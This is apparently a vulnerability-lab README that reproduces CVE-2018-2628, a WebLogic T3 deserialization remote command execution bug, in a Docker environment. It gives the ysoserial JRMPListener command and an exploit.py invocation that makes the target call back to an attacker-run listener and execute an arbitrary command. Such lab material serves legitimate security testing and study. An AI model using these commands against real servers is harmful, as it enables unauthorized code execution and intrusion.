# Weblogic WLS Core Components Deserialization Remote Command Execution (CVE-2018-2628)
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)

|
|
|
Oracle Weblogic Server is a popular enterprise application server that provides a wide range of features for building and deploying enterprise applications.
|
|
|
|
In Oracle's April 2018 patch, a deserialization vulnerability in Weblogic Server WLS Core Components was fixed (CVE-2018-2628). This vulnerability can be triggered through the T3 protocol, allowing unauthorized users to execute arbitrary commands on the remote server.

|
|
## Environment Setup
|
|
|
|
Execute the following command to start Weblogic 10.3.6.0:
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
Wait for the environment to start (depending on your machine, it might take a while), then visit `http://your-ip:7001/console` to initialize the environment.
|
|
|
|
## Vulnerability Reproduce
|
|
|
|
First, download ysoserial and start a JRMP Server:
|
|
|
|
```
|
|
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
|
|
```
|
|
|
|
Where `[command]` is the command you want to execute, and `[listen port]` is the port that the JRMP Server listens on.
|
|
|
|
Then, use the [exploit.py](https://www.exploit-db.com/exploits/44553) script to send a packet to the target Weblogic (`http://your-ip:7001`):
|
|
|
|
```
|
|
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
|
|
```
|
|
|
|
Where `[victim ip]` and `[victim port]` are the IP and port of the target weblogic, `[path to ysoserial]` is the local path to ysoserial, `[JRMPListener ip]` and `[JRMPListener port]` are the IP address and port of the JRMP Server started in step 1. `[JRMPClient]` is the class to execute JRMPClient, the optional values are `JRMPClient` or `JRMPClient2`.
|
|
|
|
After exploit.py is executed, run `docker compose exec weblogic bash` to enter the container, and you can see that /tmp/success has been successfully created.
